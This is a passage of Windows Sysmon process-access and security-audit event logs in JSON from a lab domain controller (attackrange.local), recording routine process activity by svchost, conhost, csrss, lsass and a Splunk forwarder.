11:52:41.002","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3915,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:41.002\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:41.002","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3916,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:41.002\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010001F0500}\r\nTargetProcessId: 4340\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:41.002","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010001F0500}","TargetProcessId":"4340","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3917,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:41.095\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:41.095","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3918,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:41.095\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:41.095","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3919,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:41.095\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2232\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4089-5F2D-0000-001087980500}\r\nTargetProcessId: 5000\r\nTargetImage: C:\\Windows\\system32\\wermgr.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|c:\\windows\\system32\\UBPM.dll+a711|c:\\windows\\system32\\UBPM.dll+f974|c:\\windows\\system32\\UBPM.dll+cd3c|c:\\windows\\system32\\UBPM.dll+d305|c:\\windows\\system32\\UBPM.dll+dc05|c:\\windows\\system32\\UBPM.dll+e91d|c:\\windows\\system32\\UBPM.dll+e014|c:\\windows\\system32\\UBPM.dll+115a2|c:\\windows\\system32\\EventAggregation.dll+3fae|c:\\windows\\system32\\EventAggregation.dll+3ea1|c:\\windows\\system32\\EventAggregation.dll+36c9|c:\\windows\\system32\\EventAggregation.dll+332f|c:\\windows\\system32\\EventAggregation.dll+2e28|C:\\Windows\\SYSTEM32\\ntdll.dll+64ed5|C:\\Windows\\SYSTEM32\\ntdll.dll+64bdd|C:\\Windows\\SYSTEM32\\ntdll.dll+64a40|C:\\Windows\\SYSTEM32\\ntdll.dll+45b70|C:\\Windows\\SYSTEM32\\ntdll.dll+2a073|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:41.095","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2232","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4089-5F2D-0000-001087980500}","TargetProcessId":"5000","TargetImage":"C:\\Windows\\system32\\wermgr.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|c:\\windows\\system32\\UBPM.dll+a711|c:\\windows\\system32\\UBPM.dll+f974|c:\\windows\\system32\\UBPM.dll+cd3c|c:\\windows\\system32\\UBPM.dll+d305|c:\\windows\\system32\\UBPM.dll+dc05|c:\\windows\\system32\\UBPM.dll+e91d|c:\\windows\\system32\\UBPM.dll+e014|c:\\windows\\system32\\UBPM.dll+115a2|c:\\windows\\system32\\EventAggregation.dll+3fae|c:\\windows\\system32\\EventAggregation.dll+3ea1|c:\\windows\\system32\\EventAggregation.dll+36c9|c:\\windows\\system32\\EventAggregation.dll+332f|c:\\windows\\system32\\EventAggregation.dll+2e28|C:\\Windows\\SYSTEM32\\ntdll.dll+64ed5|C:\\Windows\\SYSTEM32\\ntdll.dll+64bdd|C:\\Windows\\SYSTEM32\\ntdll.dll+64a40|C:\\Windows\\SYSTEM32\\ntdll.dll+45b70|C:\\Windows\\SYSTEM32\\ntdll.dll+2a073|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3920,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:41.095\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4089-5F2D-0000-001087980500}\r\nTargetProcessId: 5000\r\nTargetImage: C:\\Windows\\system32\\wermgr.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:41.095","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4089-5F2D-0000-001087980500}","TargetProcessId":"5000","TargetImage":"C:\\Windows\\system32\\wermgr.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3921,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:41.142\r\nSourceProcessGUID: {90617006-4089-5F2D-0000-001001970500}\r\nSourceProcessId: 4340\r\nSourceThreadId: 3548\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe+577205|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe+576d36|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe+56c09|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe+572d6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe+8fe2c4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:41.142","SourceProcessGUID":"{90617006-4089-5F2D-0000-001001970500}","SourceProcessId":"4340","SourceThreadId":"3548","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe+577205|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe+576d36|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe+56c09|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe+572d6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe+8fe2c4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221785,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x59B03\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x59b03","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:52:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3922,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:41.174\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4089-5F2D-0000-001001970500}\r\nTargetProcessId: 4340\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:41.174","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4089-5F2D-0000-001001970500}","TargetProcessId":"4340","TargetImage":"C:\\Program 